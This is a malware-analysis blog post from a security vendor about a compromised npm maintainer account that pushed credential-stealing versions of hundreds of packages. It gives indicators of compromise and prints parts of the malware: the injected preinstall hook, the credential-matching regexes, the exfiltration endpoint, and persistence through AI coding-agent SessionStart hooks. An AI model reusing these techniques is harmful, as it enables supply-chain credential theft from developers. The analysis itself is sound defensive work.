SafeDep Team
• May 19, 2026 • 28 min read
Table of Contents
TL;DR
The npm account atool ([email protected]) was compromised on May 19, 2026. The attacker published 637 malicious versions across 317 packages in a 22-minute automated burst. Affected packages include size-sensor (4.2M downloads/month), echarts-for-react (3.8M), @antv/scale (2.2M), timeago.js (1.15M), and hundreds of @antv scoped packages. The payload is a 498KB obfuscated Bun script that matches the Mini Shai-Hulud toolkit used in the SAP compromise three weeks earlier: same scanner architecture, same credential regex set, same obfuscation pattern. It harvests credentials across the full AWS chain (env vars, config files, EC2 IMDS, ECS container metadata, Secrets Manager), Kubernetes service account tokens, HashiCorp Vault, GitHub PATs, npm tokens, SSH keys, and local password manager vaults (1Password, Bitwarden, pass, gopass). Stolen data is exfiltrated through two parallel channels: Git objects committed to public GitHub repositories created under the compromised token (User-Agent forged as python-requests/2.31.0), and RSA+AES encrypted HTTPS POSTs to t.m-kosche[.]com disguised as OpenTelemetry trace data. In CI environments, the payload exchanges GitHub Actions OIDC tokens for npm publish tokens, signs artifacts via Sigstore (Fulcio + Rekor) using the stolen identity, and injects persistence into .github/workflows/codeql.yml. The payload hijacks Claude Code and Codex by injecting SessionStart hooks that re-execute the malware on every AI session, both locally and via commits to accessible GitHub repositories. VS Code gets a tasks.json with “runOn”: “folderOpen” for the same effect. A persistent systemd service / macOS LaunchAgent (kitty-monitor) installs a GitHub dead-drop C2 backdoor: a Python daemon that polls GitHub’s commit search API hourly for RSA-PSS signed commands in commit messages containing the keyword firedalazer, then downloads and executes arbitrary Python from the signed URL. A separate gh-token-monitor daemon polls stolen GitHub tokens at 60-second intervals. The payload also attempts Docker container escape via the host socket and propagates infection to other local Node.js projects.
The attack uses two execution paths. Each compromised version adds a preinstall hook (bun run index.js). 630 of 637 versions also inject an optionalDependencies entry pointing to imposter commits in the antvis/G2 GitHub repository. These are orphan commits with forged authorship, invisible in the repo’s branch history, exploiting GitHub’s fork object sharing to host a second copy of the payload without any write access to the target repository. npm’s github: dependency resolution fetches and executes the content by SHA.
Jump to full list of compromised packages
Impact:
Projects using semver ranges (e.g., ^3.0.6 for echarts-for-react) auto-resolve to compromised versions
Credential harvesting targets npm tokens, GitHub PATs, AWS keys (full credential chain including EC2 metadata and ECS container credentials), GCP service accounts, Azure credentials, database connection strings, Stripe keys, Slack tokens, SSH keys, Docker auth, Kubernetes service account tokens, HashiCorp Vault tokens, and local password manager vaults (1Password, Bitwarden, pass, gopass)
Dual exfiltration: stolen data is committed as Git objects to public GitHub repositories (User-Agent python-requests/2.31.0) and sent as RSA+AES encrypted HTTPS POSTs to hxxps://t.m-kosche[.]com/api/public/otel/v1/traces (disguised as OpenTelemetry traces)
npm OIDC token exchange in CI allows the attacker to obtain publish tokens using the pipeline’s own identity
Sigstore signing with stolen OIDC tokens creates legitimately-signed artifacts with forged provenance
Docker socket access enables privileged container escape with host filesystem bind mounts
CI/CD persistence via .github/workflows/codeql.yml injection (named “Run Copilot”) that dumps toJSON(secrets) as a GitHub Actions artifact, then self-cleans by deleting the workflow run and resetting the branch
AI agent hijacking: Claude Code SessionStart hooks, Codex hooks, and VS Code “runOn”: “folderOpen” tasks, all triggering a Bun bootstrapper that re-executes the payload
Persistent systemd user services and macOS LaunchAgents: kitty-monitor runs a GitHub dead-drop C2 backdoor that accepts RSA-signed remote commands via GitHub commit search; gh-token-monitor polls stolen tokens at 60-second intervals
Local project infection copies payload files and hooks into other Node.js projects on the same machine
Redundant payload delivery via GitHub imposter commits survives even if preinstall hooks are blocked
Indicators of Compromise (IoC):
Any package published by atool ([email protected]) on 2026 – 05-19 between 01:44 and 02:06 UTC
preinstall script: bun run index.js
Payload SHA256: a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c
Imposter commits in antvis/G2 (orphan, forged author, message: “New Package”):1916faa365f2788b6e193514872d51a242876569 (626 versions)7cb42f57561c321ecb09b4552802ae0ac55b3a7a (2 versions)dc3d62a2181beb9f326952a2d212900c94f2e13d (1 version, garbage collected)
1916faa365f2788b6e193514872d51a242876569 (626 versions)
7cb42f57561c321ecb09b4552802ae0ac55b3a7a (2 versions)
dc3d62a2181beb9f326952a2d212900c94f2e13d (1 version, garbage collected)
Optional dependency: @antv/setup: github:antvis/G2#<commit-sha>
Exfiltration repositories matching the Dune-themed naming pattern {word1}-{word2}-{number} where word1 is one of: sardaukar, mentat, fremen, atreides, harkonnen, gesserit, prescient, fedaykin, tleilaxu, siridar, kanly, sayyadina, ghola, powindah, prana, kralizec; word2 is one of: sandworm, ornithopter, heighliner, stillsuit, lasgun, sietch, melange, thumper, navigator, fedaykin, futar, phibian, slig, cogitor, laza, ghola; number is 0 – 999. Description: “Shai-Hulud: Here We Go Again” (reversed in source)
HTTPS exfiltration to hxxps://t.m-kosche[.]com/api/public/otel/v1/traces (RSA+AES encrypted, disguised as OpenTelemetry traces)
HTTP requests to 169.254.169.254 (EC2 metadata) and 169.254.170.2 (ECS container metadata)
Branches named chore/add-codeql-static-analysis in repositories accessible to compromised tokens
.github/workflows/codeql.yml with workflow name Run Copilot that dumps toJSON(secrets) to format-results.txt
.claude/settings.json containing SessionStart hooks running node .claude/setup.mjs
.vscode/tasks.json with “runOn”: “folderOpen” tasks calling .claude/setup.mjs
.claude/setup.mjs or .vscode/setup.mjs (Bun bootstrapper, downloads bun v1.3.14 from GitHub)
Systemd user service kitty-monitor.service or LaunchAgent com.user.kitty-monitor.plist
gh-token-monitor daemon at ~/.local/bin/gh-token-monitor.sh
Files at ~/.local/share/kitty/cat.py (GitHub dead-drop C2 backdoor)
State file /var/tmp/.gh_update_state (C2 execution tracking)
GitHub commits containing the keyword firedalazer (C2 command trigger)
RSA-PSS signed commands in commit messages: firedalazer <base64_url>.<base64_signature>
If you are auditing lockfiles or reinstalling on affected machines, Package Manager Guard (pmg) is an open-source install proxy that evaluates packages against threat intelligence before preinstall scripts run. Its dependency cooldown can refuse versions published inside a configurable window, which helps against bursts like the May 19 wave where semver ranges were still resolving to freshly published malicious releases.
Analysis
Account Compromise and Blast Radius
The atool npm account maintains 547 packages. The attacker published 637 malicious versions across 314 of those packages in two automated waves, both on May 19, 2026:
Most packages (309) received exactly 2 malicious versions, one per wave. Four packages (size-sensor, echarts-for-react, jest-canvas-mock, jest-date-mock) received 3 versions, suggesting they were used for early testing before the bulk publish.
A sample of the highest-impact affected packages:
The attacker did not move the latest dist-tag on most packages. For echarts-for-react, latest still points to 3.0.6. This provides no protection: npm’s semver resolution picks the highest version matching a range, regardless of the latest tag. Any project with “echarts-for-react”: “^3.0.6″ in its package.json resolves to 3.2.7 (malicious) on the next clean install.
Execution Trigger
Every compromised version makes exactly two changes to package.json:
// package.json diff (size-sensor 1.0.3 → 1.1.4) “version”: “1.0.3″, “version”: “1.1.4″, “scripts”: { … “build”: “npm run build:umd && npm run build:lib && limit-size” “build”: “npm run build:umd && npm run build:lib && limit-size”, “preinstall”: “bun run index.js” }, “optionalDependencies”: { “@antv/setup”: “github:antvis/G2#1916faa365f2788b6e193514872d51a242876569″ },
// package.json diff (size-sensor 1.0.3 → 1.1.4)
“version”: “1.0.3″,
“version”: “1.1.4″,
“scripts”: {
…
“build”: “npm run build:umd && npm run build:lib && limit-size”
“build”: “npm run build:umd && npm run build:lib && limit-size”,
“preinstall”: “bun run index.js”
},
“optionalDependencies”: {
“@antv/setup”: “github:antvis/G2#1916faa365f2788b6e193514872d51a242876569″
},
The preinstall hook runs before any dependency installation and requires Bun as the runtime. 630 of the 637 malicious versions also inject an optionalDependencies entry that delivers a second copy of the payload via the legitimate antvis/G2 GitHub repository (see Imposter Commits in antvis/G2 below).
Malicious Payload
The index.js file is a single-line, 498KB obfuscated Bun bundle. The structure is a direct match with the Mini Shai-Hulud payload from the SAP compromise three weeks earlier: same Bun runtime requirement, same hex-variable obfuscation pattern, same scanner architecture with a 100KB flush threshold, same credential regex set. The payload uses two layers of obfuscation: a hex-variable string lookup table (_0x1169 resolving from array _0x5e03) and an encrypted string decoder (fc2edea72) that uses base64 + XOR for all sensitive strings like environment variable names, file paths, and C2 URLs.
The imports reveal the full scope of capabilities:
// index.js — extracted import statementsimport { execSync } from ‘child_process’;import { spawn } from ‘child_process’;import { homedir } from ‘os’;import { readFile, readFileSync, writeFileSync, createWriteStream } from ‘fs’;import { createHash, createDecipheriv, pbkdf2Sync, generateKeyPairSync, sign } from ‘crypto’;import { pipeline } from ‘stream/promises’;
// index.js — extracted import statements
import { execSync } from ‘child_process’;
import { spawn } from ‘child_process’;
import { homedir } from ‘os’;
import { readFile, readFileSync, writeFileSync, createWriteStream } from ‘fs’;
import { createHash, createDecipheriv, pbkdf2Sync, generateKeyPairSync, sign } from ‘crypto’;
import { pipeline } from ‘stream/promises’;
The payload’s main function J2() orchestrates the attack through a scanner architecture. It instantiates multiple scanner classes, each targeting a different credential type, and dispatches results through a batched sender (Po) with a 100KB flush threshold. A CI environment detection module checks for 20+ platforms via environment variables: GitHub Actions (GITHUB_ACTIONS), Jenkins (JENKINS_URL, JENKINS_HOME), GitLab CI (GITLAB_CI), CircleCI (CIRCLECI), Travis (TRAVIS), Buildkite (BUILDKITE), Drone (DRONE), TeamCity (TEAMCITY_VERSION), AppVeyor (APPVEYOR), Bitbucket Pipelines (BITBUCKET_BUILD_NUMBER), Bitrise (BITRISE_IO), Semaphore (SEMAPHORE), CodeBuild (CODEBUILD_BUILD_ID), Azure DevOps (BUILD_BUILDURI), Cirrus CI (CIRRUS_CI), Netlify (NETLIFY), Vercel (VERCEL), CF Pages (CF_PAGES), Buddy (BUDDY_WORKSPACE_ID), Vela (VELA), Screwdriver (SCREWDRIVER), SailCI (SAILCI), Wercker (WERCKER_MAIN_PIPELINE_STARTED), Shippable (SHIPPABLE), Distelli (DISTELLI_APPNAME), and JetBrains Space (JB_SPACE_EXECUTION_NUMBER). When running in GitHub Actions, additional data collection activates: workflow runs, artifacts, secrets metadata, and OIDC token exchange.
Credential Harvesting
The payload reads 80+ environment variables (all names encrypted via fc2edea72) and scans file contents using regex patterns. The regex set reveals what the attacker is after:
// index.js — credential detection patterns (extracted from scanner classes)‘ghtoken’: /gh[op]_[A-Za-z0 – 9]{36,}/g,‘npmtoken’: /npm_[A-Za-z0 – 9]{36,}/g,‘ghs_jwt’: /ghs_\d+_[A-Za-z0 – 9_-]+\.[A-Za-z0 – 9_-]+\.[A-Za-z0 – 9_-]+/g,‘awskey’: /(AKIA[0 – 9A-Z]{16}|aws_access_key_id[“\s:=]+[“’]?[A-Z0 – 9]{20})/g,‘gcpKey’: /* encrypted — targets GCP service account keys */,‘azureKey’: /(AccountKey|accessKey|client_secret)[“\s:=]+[“’]?[A-Za-z0 – 9+/=]{40,}/gi,‘dbConnStr’:/(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s’“]+/gi,‘stripeKey’:/(sk|pk)_(test|live)_[0 – 9a-zA-Z]{24,}/g,‘slackToken’: /* encrypted */,‘sshKey’: /ssh-(rsa|ed25519|dss) AAAA[0 – 9A-Za-z+\/]{100,}/g,‘dockerAuth’:/“auth”:\s*“[A-Za-z0 – 9+\/=]{20,}“/g,‘vaultToken’:/hvs\.[A-Za-z0 – 9_-]{24,}/g,‘k8stoken’: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,‘urlCred’: /https?:\/\/[^:“‘\s]+:[^@“‘\s]+@[^\s’“\]]+/g
// index.js — credential detection patterns (extracted from scanner classes)
‘ghtoken’: /gh[op]_[A-Za-z0 – 9]{36,}/g,
‘npmtoken’: /npm_[A-Za-z0 – 9]{36,}/g,
‘ghs_jwt’: /ghs_\d+_[A-Za-z0 – 9_-]+\.[A-Za-z0 – 9_-]+\.[A-Za-z0 – 9_-]+/g,
‘awskey’: /(AKIA[0 – 9A-Z]{16}|aws_access_key_id[“\s:=]+[“’]?[A-Z0 – 9]{20})/g,
‘gcpKey’: /* encrypted — targets GCP service account keys */,
‘azureKey’: /(AccountKey|accessKey|client_secret)[“\s:=]+[“’]?[A-Za-z0 – 9+/=]{40,}/gi,
‘dbConnStr’:/(mongodb|mysql|postgresql|postgres|redis):\/\/[^:\s]+:[^@\s]+@[^\s’“]+/gi,
‘stripeKey’:/(sk|pk)_(test|live)_[0 – 9a-zA-Z]{24,}/g,
‘slackToken’: /* encrypted */,
‘sshKey’: /ssh-(rsa|ed25519|dss) AAAA[0 – 9A-Za-z+\/]{100,}/g,
‘dockerAuth’:/“auth”:\s*“[A-Za-z0 – 9+\/=]{20,}“/g,
‘vaultToken’:/hvs\.[A-Za-z0 – 9_-]{24,}/g,
‘k8stoken’: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
‘urlCred’: /https?:\/\/[^:“‘\s]+:[^@“‘\s]+@[^\s’“\]]+/g
The scanner also parses AWS STS identity responses, extracting <Account> and <Arn> XML tags from GetCallerIdentity calls.
A separate file-scanning class (zo) reads sensitive paths from the home directory. The targeted paths are encrypted via fc2edea72, but the code references a LINUX key in the path map and resolves ~ via os.homedir(), targeting standard credential locations: .ssh, .aws/credentials, .npmrc, .docker/config.json, .kube/config, and similar paths.
Docker Container Escape
The payload checks for the Docker socket and, if present, attempts container escape through three sequential methods:
// index.js — deobfuscated attack chainasync function S1() { if (await P2()) return true; // Direct Docker API: create container if (await W2()) return true; // Docker API: create + start container if (await K2()) return true; // execSync fallback return false;}